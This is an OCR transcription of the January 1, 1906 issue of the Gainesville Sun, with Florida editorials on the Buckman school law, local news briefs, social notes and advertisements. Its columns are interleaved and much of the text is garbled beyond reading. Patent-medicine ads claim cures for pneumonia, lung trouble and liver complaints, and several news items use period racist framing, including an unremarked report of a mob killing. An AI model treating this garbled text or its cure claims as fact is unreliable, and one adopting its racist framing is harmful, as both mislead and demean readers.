R. THOMAS : .."..t.. t t_,. ,..".. t..._ II' .. I very Thl boiel U unrfer new ___-ineat cad . ... . .- Ne h .41-nslei l low with malarial frver and jaundice . I. r. I' y. WiD' testare.wr.nw.i.tn. tel rsed u-'hr- l t. lam teethe '' . .._. . .. . , i .. .t. .. .... ... '1_......"/..../-" wtin.dter.turkey , . sod ..__.. + '060 p Iauo. :: + till he took KUctrie llitteri. which i Iw ..... ...... ._ sadtwat5 .. .1111' Y.tceUeat n.blse .. .,..........1_oe-aa. rkd saved his life." .\.11 drug .li.rr.. "N' ......................... u' ..UuW_ fur busitcu and n.nist isrtlea rjIIjCO.jlrsifr Trice 1)11':, .o.rt..1..d, Gainesville Florida. .. ,. for rate and accomitoMHS. a4oIre , . LOUISA TlliM t:'.. 1'resd.ars. Artist DalrympI Dead. . tnt.rllawwcg. Lave CO. n... \.'w York. X V. 1X-C. :'.- x I . ------- -- - Th.e 14o1i. f :'tr1UJI.'. an artist "iuOIt ca.- r13'lIr..r, iwettctJn.; \ anj cartoi''s B I EL DORADO CAFE 1.:111,1: ", kltuatlon hate auj 1>><'ar' <1 In To Avoid thi Holiday RushLet : well!: known !>" ..papt-rs and lrloll/- cal_. ,li"-.l MI. .I' Lest nluht of acuropart Icanliae !I. ('-1.<< a Fealnrr.Everything ..." In the; Innq Island home, i/\ ; A.nlll)\IIU-: wbt-rc h.f was taken about us have your order now. We want to give in Seaon! Cooked to Order. a month ago. Mr. Dairympte: "U OY:TKHS ABU STEAKS born In! ramhrl S''o.*elslt'ewCOFFEK : He"rQ .ran nyt ho marrl *'i albs(\ Aov ; -the- -Uet.t ''I rood vf Uln.oJ'1ho: survives hln order we assure you your goods will be deliveredpromptly. aCE rt RKA io..lltl.E.e How to Avoid Pneumonia. r I U*. have never heard of a tingle in-1 + SIDE SQUARE WEST .tan'. of a cold resulting In pneu .. 'I* \%eel M.!n ".r*r'. !''o.i. : mania or other tune trouble when. .'0i - i. i I..,'. Honey and Tar has been taken.It Keystone Rye. Rich Hill. 4 not only *top the cough "but heal 12 Bottle . . 1 e 1500. 4 Full Quart. E.p,..* Paid.....f 4 20 J , -....,, -" -_.' -- ., .. ...= ... ., .. and strengthen the lung. Ak for Fuey' 1M Hot tic*. . . . . . . I: /.t 12 Full Qaarti. Esprea Paid.... 12 OO , | Honey and Tar and refute any .PIANOS'ORGANS sub.ti4utr" offered I U r. C J. l'.i..hopofgne ' : .\ : ..r. Mich., write ; "! hare used Horn. Big Its upward f.J5S. Upward J Pedigree Rye. \ . -.. Fol-y*. Honey and Tar in three very -- severe eases of pneumonia with. timid 6 Uottle. .. . . . . . fi (.) 4 Full Q.art' *. Express: Paid ... .t3 31 /We Sell a lowest Factory Prices\ results in every case, JV MrCoI-! 12 llottle . . . . . ... 9 (a) 12: Full Quart. t.pr..id. .... 9 00 ( 1 EASY TCRM8. f -) lum, Co. - = --= , - (torrrj'it' And Ctarantce.: SjfisfJClion( ) Notice. TRADE OUR SPECIA.LTY' JUG . The copartnership formerly existing ( ) Ol> laSTMUMCNTS TANtN1.! tlCHAUtt i t blw.er T J. >w..aringen and the underi.ned I Send me! your order and I'll see that it* chipped" promptly t (.nttAttlsr.f.rfdlhrttayrSAidCtal.fvt. ') ha then dissolved. the un> I . < t \ or t IIHI II ( dericned retiring Mr. Swearinffen 1/PIANOS OR ORGANS;' ) will c illect all monies. etc.. due the J. J. WILLIAMS: , i J HO AeVCMTS "clJ.rI.dlol 4 firm of Venable birranngeo and will all: bill M. VUABUI. 1' O. BOX 401. JACKSONVILLE FLORIDA 1 sN44Y 1M l.e .-rT -'Wlt f a CL I pay , : -- : ---. .-.01 - ... . . '. H!, aamai .. .. .-. : VT 4 THE: GAINESVILLE SFN: JANUARY 1. lUnG) ,. i ft'IOA1KCSVILUL - ----- ...;.... - -- -- ------ ' FLORIDA FOR I9O6. ' r trhc; 11 11I gun ""llboal.n, "resolution but keeping op with the march of Improvement CHRISTMAS MERRY t ..aaOe..-bsv at. iso*...O".+'W.n" *.. already begun.! Florida will do .MMM.Al1M oust.... ..... A e. et Co.- better in the coming! year of lad: than ---.. Mena t. 1v7.. hi.. ever before and march along cloe to - . :r the frt.nt in the way of advancement I lDbUabed Every' Xaday mad TaarsdajatttalaevvUle and a In the less that I I. now close at hand n.rwaR. , A Mny dus! "'ns have been removed In tne past regarding our beau ' year H. McCREAkY. Editor KIM! Publ'r. it tifill Stale, and thoe who have come HAPPY NEW YEAR 1' her and seen for themselves| are satisfied , Tram or BrascBirno that the half has never been JI t Tit Twke.a-Week 6m II a year; sligaoath told or if It has. the story hat been *. Me.i single t"ftt'*e.. fce. garbled, as Florida is the place where / D..JIT1.IJI. RATBSLoaal :, not only the .t1i"'N may come to rem I advertisements." 15 cent a line gain their health but where the I far tb. first and 10 cent for each addi- I rustler for business may come to acquire I . : ..& Insertion.Dtvalayed wealthPeople advertisement for three,. who have come here from fix 13 month* at special rate.. hioraad foratebed. upon application.Maniac I the North expecting In find prices exorbitant I wish l f tt.tni all my ?ri>*(..danl the public. in .general fIr ens A and Death notice l Inserted in the line of hoc.rho'd! necessities . e ,.... tuariei. i cent* a line. have soon discovered that ; ablins in" 'o do the Is-rve.t. ;; bi.ut..s tetween to Chritm d"js that live old . they can a* cheaply !In the Ova CLCBBIMI LIT.aa settled sections of that portion of the e flKm and th. Thrto*-aWeekOff. country. In th. line nf fuel there !i. a ; hat fallen to rr.jr lot .iu..- ':'.jin;!:. to }ldt. -:>rinK.. g .T.) World oa. year...... ...$1 Uaa big saving., and the man who owns his jI j '! Bam aad th. Atlanta (0&..) own horn hr is a* well off a. thoseIn jI I Waakly Coa* ltutiom ODe year.. 1 7 6 I I .I"J! wish to at.noui.othat my .toe;it will tie kept up in all' the , the North and 1 I. not frozen nearly j a. flee mud th. Atlanta (Oa.) I -"WkiY Journal on* year. 1 M to death six month !In the year. I lines during the coming year. and mil rr '.j relivc'i4t.)ni<>r. -rill{ find s fte Baa aad"th.. brml-iti eeklyi And in regard to building a home. : T1.ISw Unioa on. year..... .. 1 M the opportunities are equal here to complete .u.k of 1V stch.s. Clock*. Jt-wf!ry. ilrrw.r.-. Silver Novel, I I ' any ceetioa. Toe Jacksonville l>evelopmcat tie. Cut ( 1at.. K.n:, Chin. Optical tiitod*. 'h.i 1 i.:.1 l In'U'lm.nu. Etc.: M M.I -.w. will of .. Dot aewept tamp* aaalaattoai Company makes it possible fora Mr st than 2..DIe. f man to build a home on the installment . plan with Interest a* low a* in J Taa .....n. I. o'tva neglected I. lb. most favored sections of the country .I I t .*.... to s.. th. Cariatma ire , { pro- and this company will soon b*> doing tI .... business In many cities of the S,.... I 4 TM ..- way erne scandal look Every city in Florida i I. growing, _. III" to bcaa* only on. tide UMaettlad I.r I.ttisd. r. ........ w new* have enterprise enough are p'mdaet springing of the OPt soil and to x:: ::. O. STE: ]vE1'rSJE'VFA.R. feed twice a* many people* we now Cassw .. with Fran. all ' h.... Florida for 194 promise well. HIGH SPRINGS. FLA.WATCH .....* payta* ovar tha money, which . ...... sew ...... FIXE RErAIRI544 A "HPEtltLTY. ISSI'EtTOK" .t. t.. L. ..AILW.Jou. ." -. !k THE BUCKMAN BILL. > - --- -- - I . Taw Pair tad .... a.. .ow wearing , .. . The Bun ha been a* modest a. it -- - -- -- -- -- -- ----- -- - - - -- - ---- - --- hair ... ....... sad .." .. thir. could aadr th. circumstances during notoriety-.hould '| .-Polk CHURCH ADVERTISING.A GIFT FOR ALICE. ; p s y to ..... Tay .ay .**. II. ,: th. discosioo of th. Backmaa school County Record. I # law sal It* tt by th. 8aprm Coart Leaven worth. Kanas. preacher Th. (proposal raise a sum of upwards - \ .Am .....q.... to reported from of th. Btat of Florida, and haa rem The Supreme Court of Florida on say he believe in advertising religion. of $* %:.((JI) a* a wedding presentI ;4 ....... Tt wValaVy. "'I"ra T.Iw4ysjsjita frained from any abuse of those who Tuesday handed down it. long ezpected > aDd his views will. apply to I I 1'0 )Ii.. Alice Roosevelt on her wedding - i..a/s.d .ak la* pact w.*k.rtgbt decision in the Buekman law ! .pressed their opinion regarding th. ease many place beside Leaveaworth."Run day ha. been discouraged by her .....11I... although some of them dieplayed attaining the demurrer to the information the church on a business basic I father the President who appreciate Be .... ..... .... a lot ofa eoBldrabl venom, while oth-' in the nature of quo warranto and you'll get results.. he ..,.. "I've I I the evidence of !good ..all. but i I. out -sn k. aw, sad that to tha raa.- .r. wr .lacking in argument. and quashing the alternative writ. tried all kinds of dodger handbills, ready to pas the hat sat .., aa law ara t*a. f.... oa that Now that th. question ha been wet- I The opinion by Chief Justice Shack window cards, etc.. but I believe the I The best plan would be for those fU ..... tied w* only wish to show lb. aentl- : 1.'ord.l. quite long and very exhaustive . daily newspaper is the best. A theater ,lows to wait until the end of the *o> and wa* concurred in by all the of advertise its attractions, why nod term of President Kooteveil, and . rn M1111u MaClallaa) to now .'.1, .. t tat.p.n other Justice of the Court .. l'1t'h.. shouldn't the church to let the p.ople '' then make him a suitable gift, pro- missy ysis ... aa mayor of :*.w the taadpoiat of those who dir to Justice Cockrell, who era ditqualitirJ.and know it (is awake and doing business i. 'I Tided they are on good term at the T.... Tha !MeClallaaa.. vary goad promote the educational interest of Mr. Justice Taylor. who took no I in the King' name' .I I expiration of his official, career. a o 1MlM. our aommoaweaJth and are anxiou to part .. the coe-sidfratiou of the. e.*... The newspaper of late ,*.r. naturally . He has Just started in on his own ban th* Stat keep pac I. this direction having excused himself because ..f' book .. might and the gives considerable to you say Air*..... ,*.... took aatt-tat toWaa local interests involved" space I with oar other line of advancement. |chances are that when he downand church announcements, because the step ..._ b.t ..... *a* began to I Thus conclusively ends a litigation'I W* therefore publish the following out those same. fellow people are interested in them and may wantto ..._ labraalklag gaud ahapa aha atopped which. whatever may have been its : most newspapers wish to help' along a present him with a brick hoo.e-on* moving' spirit and purpose, and how.. brick at a time, whenever worthy cause possible. Yet The Supreme tort of Florida has ever much Its inauguration may have Iff ... Happy New Year flad there are pastors who not only' neglectto - declared. you the Boell..... bill constitutional. been deplored by some' was welcomed s ......J, ....... look about you and Th. Supreme Court I I. the judicial by all thoughtful citixrcs who deir-. take advantage of the kindly disposition There is one man always deserving s.. Iff yoa _' Bad *om. on. el... to body authorized to pass oa the tho .tabiluy of the educational (enndi i of the newspaper towards them of your sympathy and help-that I* ....r .p_ thlr way. ecMtUutionallty of all bill pertainingto lions in Ih"C"t... autl>uritaiiv.Ir but who place obstacle in the way of the |.oor man unskilled as to trade or newspapers securing new 0'" thrichurches. r' profession. who is . and laboriously .1 lb. cunstitutioo of Florida, which i* established at the earliest possible! moment. honestly Far killinc two whit men ,.. ., 'b. supreme law of the Stat*. In the larger cities church trying to feed and. clothe a large 1 .ost .... $ lib, tad for kllliag on* Th. objection that have been raised The functions of the Hoard of Control announcements of J-unJay rvices are family. If joii can give such a m.nork. ....... viaa yoa art ".'..eed to la regard to the Buckman bill should in perfecting the system dfflned l t.y I paid '0'. and in not every town in do .". If he works for you pay tt osth from tha Eaaambia 'i Kansas are the notices of serviesprinted i him fair wage and d-> not make him county BOW ...** to be expressed by the press the ll.ickman law will now b* capable: ...... free as they are" beer". wait far his No of Florida. Tb.*. paper that have of untrammeled execution, and the oI' money more serious : been raising the most atrenooo objection operation in this work of every rdiicai' I i j Th. Kansa. preacher also thinks the problem confront any' man than this It ......*d la Mlsaoari. sad hi should now cease their harplog. tional authority in the State mar tie t j time will come when churches will I How tn feed, clothe mud t"dut'.Ie. I sw warn Clay Xvlll. a f....... by The personal prejudice' and per- confidently relied upon-Tallaha.ue nut only I I.ke.t."nt"Io:* of the free largo family of flvet.r six children on _patina), aad h* aoaamlttad aaleld gnat aggrandizement that I I. ao difficult True Democrat. nOlic!' ". l h.it will run display advertisement average daily earnings of less than a ........ h* had mar money than h* to rise abov should now be laid ... dollar mud a half a day -W lavaat. ..... and the good of the entire State Last Tuesday. the Supreme Court i i ----- I, ." J of Florida should now be considered. rendered its decision in the matter of '; '.1) In the present time the businessoutlook The 1' J'a'Inl.nt of Agriculture at t If .... Caltd 8tata Senator andtawlr the legality of the i'.ackman sshoullaw. for Florida for the. If6f1d Washington is experimenting Some towns in the State of Florida year on teatablets ffrtoad eoatina* to gobble up th have .. which had been before that triliunal seemto be most Mattering and and the tea that is .rn.a.I . the Ruekman asjfcU* ..... at th* rat they ..... of opposed bill INcauee for argument/ for the two w...kprrrvditK thrtiughmit the entire :state there are the experiment station near Summerville. - tea. ...,* will sot b* mash work for they. that considered it a radical lb. court held that the i ii few, if any, reports of business. failure ?-. '_* is compressed into ..m.1II"bl..t @ t.. ....... measure wa railroaded through 1".1 I e .n. the Legislator. i is perfectly valid and *. The HIMnf a successful| tourist .. large around as a cent and and this settles a que.litrn| of ih- m- season will leave the hotel and boarding about twice an. thick All have to Theliecord you A aaloo. depot would b t tlb. In on other occasion opposed ' a move must iniMirtai>ce tu the educational . hntie l people in a good condition do is to order a cup of hot the Ituekman bill water drop railroad right .1....... foe our Lrt a a city. terests of Iht.I" of Florida. I I financially. and it should also be HI tablet and borne jour have measure but aince. the Supreme Court you a cup of ... used work go on. Tb. matterahoald with' The decision will be received . in mind that tea the of Florida ha* declared it constitutional I Ia.n.r.I..ti.fa winter visitors alsosien _ not Then - Mop now. are .'ion by the people of' .l rah small sum while here. ..." off good ait*.. it should b* the sentiment, and no Allthese v the whole State with the exception, of little items Judging' from the doubt will bw of the press of Florida; help to swell the total report that: have: tours. of those* who had local I and | been and theeitlsenry uf this State.Ve I. and every dollar that i I. started to rtreived from the fereicn coun- Tha par food the Jacksonville Expoaitloa what aright IK- called s*>IH-h interest roll alxitit the cities ant tars; that have threatened \ > take this position<< because we' towns is to cut in nthe to feeding the State pre* realise it to be the position that will in.ol.Pd.'h..n it was first proposed hound to be captured, by someone.H'lt cottan production of the South: ahoald bo Investigated by lb. cornatir.los. the wisdom of the measure was. ,|lu..1| don't t tx discouraged there is little . finally conserve the best interest of I if they are or 11' danger any rival i. Thr **em* to b* a lack of tiuned by manyo.rinq to the Ci'itfi' > the State Let the question l I.e settledfinally. t not all caught and handed <!>-ctly to bobbing up from that source. ..arI...., la lb. tuff.Th . ' non in our edurational sr t m. the enctinent you If the 5r'u.er It..ttt.... dollar -- -- The educational facilities have too '' of such a radical m.%ure first he may take it in the dry| goo-is 1| Ch"mb"rlan.a, Cough-Remedy Absolutely ; . Boa famUhed work for a large would entail hut after the bill t>. ?*mea man and it . long been unsettled and the nf ron tart rolling around Harmless.The . ,i number of people daring the holidayrah. press law and the &!.l order of Ita in.:* was the and is I city sure to dn the Stale should abide by the decision service at fault: uf giving : children Th advertisement. of the merbant thereby swept away, there w". gene several 'I medicine of the Supreme Court.lal.n"ain. laces' All that is ne. ded f ito f. containing. . mad U neoetary for them tomploy I eral recognition of the fact that ititerference : start the dollar.Chamberhan'a I I| injurious' stances'ometimes - time has healed thewound aa army of clerks. with its operation* "oul.1.r"'.. | more disastrous than the disease of prejudice and the lu.n.o' I from which" tl.ey} are suffering : livery ni I'urw.S t'I'I tn prmiuc: furth..rd..m..r.Ii.&ion Florida have, or should hive Ia c caside >d Cough Remedy theBe mother should know that Chamber.lain' . A aegro attempted to aMault a while personal prejudice. In an unsettled and damaging delay. t Made.: :i OxiKh Uemedy: is safe woman I. Abbeville. Oa.. when she condition I There has t seen general disapproval I perfectly the f'dut'.ion.1f.eUiai..o' for sate. nab a .ram that h* never the course' of thos* who have (t..n active In my opinion l'h.rnt..rhih'.l."ouilh children to take. It contains nothIng - topped running until h. reached th* Florida would not be in a irt bringing. the matter into the Kemrily: M the IK-.| snide fr Cold," harmful and for co"tghs. colds! and Flint rlvr which h. swam aero**. condition to consider the ideals of theState courts and the decision of the .latter I[ 'ays Mr. e..,. Walker uf I'orterville croup i i. unsurpassed. For sale by all and afford the young manhood of druggists I . w.III'I.| . ( al. There i i- no du'ibt aUtut : e the people us a wholeLakeland '1.1(sin.: , the State the opportunities that are so \....... the best N" other will cure a cold so'quickly ' Tb poiaoaed candy flod ha. again essential to the float upbniding nf the , f ..... trying to gt in hi.* work at At-1 State, and the industrial and educational 'I Now that the Florul Supreme Court I ive uf pneumonia N< other i- so other sure .a. |so"revent-i pleas j I! >V. I I. sIn 14 I':\", that will ., has declared that the HacCman educt.jtional . tt bay N. Y.. tending a young lady development undoubtedly ant and safe to take. These l'II\-SIlI.\ .t\ISCIGEti. are aaoaalasx, ...... with paris green In 1 result. bill! is constitutional it i. hoped reason good why: it I Mould l be , i preferred ....... knowing, of coor*.. bow hard i itat The paper that bare been so strenuously I that the Hoard nf Control will not .M any other. The fact is i that few to t'n t.os> air." Go..!!., tied .a.tf' eats. and e'er for a young lady, who dotes ontbm. opposing the Huckman bill in i I hampered again in proceeding with stir peopleare tral Ir...a..DI wi.l h. ...-.1 IB conce<-tl . provisions nf the law in establishingthe satisfied with any other after having w Its .red I..lI..D+ the tr.tlLell' of d...*M. 01 . to rfrail from overdoing even, an effolgency of hot air should now State University in Riff ... porcat. made. cease their egotistical desire for spurt M. Lucie Tribune. l', all d rQIrKi.... sale Olfl a .'or.., Bl'k. 115 E. Main. Si. XFLOBIDA. - j I UUliL.TILLE, . J t t - -. . - -- . - --"- -r-- . --- ... .- .... .,,- : -- . " '-* f THE GAINESVILLE SUN: .TAM'ARY 1 I'llir 5t . - ---- NEWS FROM ALL I ISLAND GROVE. I .t, I Pine School ; PARTS OF FLORIDABrief Em.rel*. Entetainrnenl-Chr.tma.1' | IUl.d, rot-e.' -l'IUNtiiis .1I I SPECIALRUN hm. pas|, -.d t.ff.! Tt ry j I' ,.u.antly at this : n4 i I Happenings From Various place 'I 1 here. has been 'little t.. nir I Ii Sections of State. the h.I.I-h'( ) *. uf our -oj-le: bit\ rilil'ho ! THE MOST IMPORTANT EVENTS I i I 'fh.|'ruu.,.!it.al this olare cl ....,! for the I I ON COTS II IThilll ! ,I u'III'J" last Friday, an I on the e...n.1 ''' ii n of that day au eiitertaii.inrit .- 9 Transpiring in "The Land of FIo ver.." given at the ri'tiiHil t t.*i'l.e t>y 4'jr n ir- I ; Thing "Boiled Down" to Suit the' Or tei,.,.her.. .\lltil'.k''l, the " Busy Reader-Itjmt, of Interest to "was'" iLcleTllent the I.o'l.e w.. .ir?."lh"1| I i All Classe.! | to it. Otto*t capaity: and ".. "r- , ttat tin' one "n. .t'1' | ;p't.ii rf :rl." I.'kei.( iu need of 1.ut 1. co-inti ill "e: K> entertattitneitt. wa, it i*< In"I.: .f.'IIi"1 I >*tntiat jaii. the ineetitic, :: w,*. esprit; ti ", I..tmr.: voted in for, of I hunditteat I'ruf J e. .V'loin*. w rn, cVe a .-.-r.) I t the flection Ilrcrrntwrp'h. .t>t Tri.. tiiiS MiiJ ,nttracute, talk ..n et!t. .'''11' trots I I. tn h.ve. lie r city hall. '1-11'11I.1: -iihj rel0. |Ile| ** f.. '1.' 'N''i i ..... site having been | 'ir'-ha.ed.lutnna bf t*.i. i I. nt'n.ins nionz it a rl,i ilrtte ,ej Will t '''I..r. ted his h...,..,. fir ,t and' the town is in the Ini.I.I..f n .uwr time "I'h i L'I'II: .-(jq.*,ar t peal.II biisin*.. baail.Kds.irntnri I I ,thought. tie ..I." pared) hith i*'mi|>n- tiient. In our teacher*. I'rul.ll.ill.,., i I. kt.'jine tip the fnit i I >:Jj.. rMiinie.. Mifelteniii, Mi,.. Oa.1.> shipment*, Urge .i luintitie* l"-in.hll".d k.II.. by ..) itif; that there are none t."I' . every ilmy. ter in \Ia..hll. roiititr.. arid I In .a> itig Captain and Mr. \\'. J. Tu<*ker of that he mttftit include. the :Mate" for Fort l'ur'e celebrated their 41th wedding - we .believe th.1I".hua can corn; arefavorably anniversary on Tuesday I Ihc. .' I. ', 1 with any county in the Mate Th. *" Baptist Convention "will Cot l>a. hard pine frame .Tarnished woven wire fabric of floe wire weave, with five cable and rtat After hi. speech Ieiix.oration two truss cable .UI'I"'I'I" ; strong, durable and 1''luf""I... ' assemble at llartow January 11 I h. l'.e- *, etc were admirably render We are pert siring to go' to the market and .. nu inducement to assist in reducing the stock we offer lb. t ween'.I*; and 3"> .delegate are exf.ecte1. .d by the young people and children above Cot at It I''. Come while they last. Vhen the program wacompleted *upler .1 r A negr wa fined $5 and costs for wa .rved, in the form of fresh fshinR with M trotline near Kustis. !It ov. 'ter.. sandwiches. cake and coffee W US.GAINESVILLE Q I n f S Y FURNITURE T U D f (CO. was decided that a trotline wa a ...1. A neat um of money wa realized I : I . line device.The which cue to lay the indebtedness tit Mate Rank of LIT ok ha e.. the rhool. The teacher are to be Gainesville! Florida. tablished a saving* department but congratulated upon their success. for ... All the money hat been blown in on the chojl i I. now free from debt. - Christmas Rift, I IThe Monday night" the J>.opl..U gather -d at the Methodist church where a social which wa much appreciated I SUNSTROKES. SsIIBIIQS.BA CXsTt.Jn. .lwB C. city marshal of Orlando get 4O , they wire met by a mot beautiful and enjoyed by .111..ml. - cent a day for board of prisoners who I sight in the form of a large Christmas. Th. trucker are shipping a pooddeal Guess the people I.f Oregon mist only get two meals a day and So) cent I DaA'EKE tree covered with beautiful trimming, of lettuce now, and are realizing know the new :>" ....Ior from that S|..te.They B. 340KRI8. when they work and draw threesquares. I by aid laden with beautiful gift, emblematic good prices. I have not said anything ".rI: ,," of the love our Lord bore for Misses Xelma Cason and Annie ) him and he ha. bred in his place about . DENTIST . . Thresbbag.erop at Coleman. Sum u* when He gave His only Son to re. Chine are visiting friends at CitraWe I three weeks. A i. aid be the best lc-1 ter to eTergrown eoantjr deem u*. The exercise were opened are glad to note that Mrs. E. i The writer of .R.....* I'loom in Summer - and with there, no mishaps with a song. which was followed by animpressive .Pupree. who has been quite ill. i I. "' OtBee over Marew Ba-lefm. .- ese 7i nets; there will b. from &O.UO" to KO.Oii Only' had probably never prayer by Rev. JuhnTt.omr.on. valeeent. _ . _ : lent a winter In Florida, where' we barrelsshipped.Tampa Mr. \Vhiler then Rave MITCHELL WAS PROMINENT. have some fine ones in bloom at the KATTORNEY A. I.i after business wherever it an appropriate talk which wa follow. Jv CARLISLE. can be found but we did not believe I e<| by a song. "Iteautiful Star." R.v.Thompon .. Funeral Was Largely Att.nd.d-AII present time. AT LAW f that they would work up a strike in was then called on and took Next month will bring forth several Store* Were Closed.Former " And Dolieitor Key West to help their cigar trade, a. a. a foundation for his talk the song business changes la Gainesville. which -Cqally the Islanders .11...... I, which had just been rendered. H.. Conductor Coast J.I.iue J. Mitchell who of will be a surprise to many people. It Real "tat, eo...,..siaa; aai 0..- Ih.II.nlle wa So far the police authorities have' drew a beautiful mental picture, deputing is quite certain oar city i. on U.. sunny .ral PraeiiM. All bualaasja pras-awU. *; M killed by a negro when acting a* special side of the business world. atteadod to. Oflc sat floor I.0c. MaPERD1NAND Dot been successful in running down : all the incident relative to the police at St Petersburg on Christ .. OA............, ILOSISA. the murderer of Mr. Pavid uggs.. the birth and life of our Savior. After an.othersong . ma I.*,. the negro afterward being I Rev. Carlisle P. B. Martin L. L. D P woman who was beaten to death near : had been tendered Santa killed by a mob. was a very popular I BAYER , Cocoanut Grove in Made cojnty.Sheriff made his appearance, causing much Uf Waverly. Texas, writes,: "Of a ! mirth, among the children. Presents man a. wa demonstrated by tn I', morning, when tint .....inl:. I often ATTORNEY .AT LAW. Benictt of Hradford countymade funeral which was held a couple of find troublesome collection ofphlegm were then distributed and all departedwith a Oainalviux, FLOBU, a raid on a bunch of colnrtdgamblrrr days after.J. . a light heart. : which! produces a cough and near the rowell-Smith! : Corn Fletcher Burnett, who wa a close I I i i. hard but small Wednesday was the time for the regular very to dislodge \ a ptny lill. Tuesday, and one coloredfellow ; l.ernnal friend of Captain Mitchell uf Ballard Iforehoand Can sell your city property (yes ;. annual installation of Masonic of quantity . named I'-ernanl was .hot. but attended the funeral. Upon hi. returnto proved and unimproved. ). pb..phsN), Jeers, and will recover.S. this city he stated that this aft.itl!1 I trouble I of list of offer .. the >laon at this place. They, with is over. know m medicine a what you for. ai4Jk Massa>*hii.ctt tour : of the "uld! _& and most im- , R. PuRcart. a their families and friends. aembled wa one that i I. equal to it. and it I.! *o Itl. felldown the hatchway of a .....hoon..r at the hall Wednesday evening, where pre*-ive ever witnessed and the pea-I' pleasant to take. I can mot cordiallyree.iinmend W. E. BAKER.ATTORNEYATLAW. Kernandma and at* exemplified their friendship by the . at pie lying in port the solemn rite wa performed in the it lo all persrn needing; a ter sixteen stitches had t.een taken in presence of all, The meeting was opened manner in which they presented themIelves a medicine for throat or lung trouble." , hi. scalp by tin! doctor lie tumbled to at the funeral."All Sold W. M. Johnson. with by.)Ir. F. T. Baker, by prayer . SOLICITOR IN CHAKCXRY. . . of St. Petersburgwere the fact that ht\ had run hi. head the stores 3. frr. After theofUccrs had been install into something. 1I. I closed! daring the funeral" said Casey In Dangerous State.Tabo'ton. . ed delightful wa spread by a upper Mr. Burnett "out of respect for the : fa I",c. SO.-Clifford GAINESViLLE Alaeaoa Co.. FLA.Offl . 1 I.. H. M. Campbell of .I'ensacola warfined the ladies, and wa much enjoyed by I . deceased. The funeral was largely ate Cay the whir man who ta attacked : *. ia Eodel Bioek. l-5:! I and cot or to serve three all ' 't..df"d. nearly everybody in the cityhaving and! ,rr7"iiely; I rut by a ne-rro. Ike 1DR. month. for veiling liquor wiiho.it li* )Ir. and .Mr' H. M. baker entertain ( either attended the church or Lxx-khart. I.n Monday night Is In avery cense. In addition to the foregoing t-d their: young friend at their hospitable '. . and the of lanc: rhn4 ron the expression J. H. ALDERMAN.DENTIB cemetery ... .twill . another thirty day imposed n : home Tuesday evening. . those showed evidence uf genuine near Carsonvllle. In Taylor county.Tlie . hare 101M" .erred. whether })', Miss. Annie McClame of.eher i I. sorrow"present netao made I 1.1. escape and Las , .defendant pay the cost or not. visiting Mars. Xelma Ca'on. Mitchell's friends here were I tot l>rn arr sled. Dr. %V. II. I>eon. rOver . J 1 IS.: Nixon, manager of the Kraut. I| Again the weddingH* have chimed very Captain. sorry to hear of the fatal tragedy ard. of Tall!_n. baa been called: toatt i , A Co. st ire at IVnacola.i missing. .\ forth this time the fortunate lot which ended his life. He, wa well nd the caJ4*. Data a Co a ...... q..o ,.1IIeD" fell to Lee Lowery, when he captured ,t short time ago h... announced that known in this section and was liked I the afe had been rubb.d and the store I a. his prize Miss Clara Abteine.The by all who knew him. The information Imperfect Oise..lio{ s was performed the ' I set oil tI,... It !La. later developed' ceremony of his d-alh at the hand of a Mean less nutrition and in r mse.quence OOKDOM B. TIBOX. residence of the br.de' parent on the r that Nixon i i. .l.ort in hi. account and i dirty offender. the law fell heavily less ,..iI.IiI'h.n the liver of the ::>th inti It. wa a "" I j a reward of fat. I i. r.fTerrd for hi. apprehension I I evening 'rq.u..1 upon the hearts of hi. friend, and fail to secrete bile, the" blood become DI'\fTlaT.' a affair! only th* rt'lativrs b -ioRpresent. ' I i iUe they are all glad that he was accorded loaded with bilious properties, the digestion r.O.ee . I'I'a 1: \'. Joseph Norwood, who !I. in j burial in keeping with the characterof becomes impaired and the Mr. I-owery i I. very fortunate in having la MIU.r Law Kaeaaasr. , charge of the Cuban Mi..ion of the I the victim.Frieids towels constipated. Herbine will rectify )Ii.. Abtteine for his bride, for she Meth.dit Episcopal Church *,.'th. in IVbvir I here extend must sincere thi*. It give tone to lie slum.ah. O..YIu& PL.&. i. aweet and ansisble young la.Jy. City, i I. making plan for the | the sympathy to the bereaved widow arid liver and kidneys, strengthens the The deople enjoyed serenade I (.lablUhment! of a club room KTmna* | immensely.young The married couple orphan of the deceased. appetite, clears! and improve the com TilE WEST END {ti .ium and entertainment hall for the : plexion. infuse new life and vigor to thought they would escape the youngerenader Trouble and Constipation FINE WINES. LIQUORS t ", Stomach CIOARB Cuban and Si; atush young men of | the whole system, &O cent a bjttle. , by changing: their rt-si Tamp .\ very good plan and worthy i with ''Chamberlain'. Stomach and Liver Sold by \\'. M Johnson : JOHN MCMZWS. ..?___....... tishits deuce. but mere caught up and of emulation j Tablets are the bet thing for *.tom.Chtrnl.t.I. W. -.. . made. to the penalty. "Turn.,. Bay .Jaeaaoavme,fla.F pay ..* and constipation I have eversold. Cason Held for KlUlnsj.ITartwell. I . and Mattress " Pillow 1 The new Miami iKin't I Youpen That I I'lour They < ." says J. 1C. Cullmaii, a druggist Ga.. Deo. SO. Codaon Oa- aut beer.bottle and draaga*. DoaS l (".,ll1l'apr. manufacturing. mutreesoil departed. lat night for their home in of Corooer" B. T. Caws at tall to oall oa two when la Jasfciaavllla of Potterville. Mich. 'ThO', are easyto eon. son of a certain kind of a oft sponte. Jael..ontillrcarrying I with them' the take and always give satisfaction. I Hart county, who shot and kills Rot i. overrun with order and working. best wishes of all and a ho.t of old t .ti Saturday night at a ChrUtma - tell customers to try them and if ert ama day and night. It I. claimed for this.gunge .hoe., my tree In"rham chapel' wa* held<< * product that it i I. much moresanitary I' Turner Caon .and Armour Hrice I their not satisfactory money but to come have back never and h.d.get by. the: roroI"e J'iry for voluntaryman PATENTSDSWIFT&S I I ,than any other mattre "went to liainestille today to visit complaint." For ..I..U. druggists. -': ,' and re'|ulrd to give aCured Ilo pital4 art tiring supplied and thei.t I friend oho !If".h.J. : Co. ..t I K ilway ha o..J.III. j of (iaineville rw.eur Vet IS ' ?Ir. atd Mr Singletary I ,n't make any good revolution for M e.aM'sas.aar.e.u.r '' , fO..I 1 Lumbago.A. Tea a.wa.v. w.ia .r.a. c S. several hundred. have tern visiting Lyre for sever the New Year, but just do I'. Romany' ae. i w a ..e r.... n..+t.. en .+rrr 1 Ii Canrnan Chicago, writesMarch .,rw.rawwv ..r..es Itr.. .a Misses Uobiw! and lIlie Robertson of al d.J"Ir. fellow are such clever chap arid appreciative ....... Irr. . .rt..e sac.... .. rvaal 7n.e.w Mount 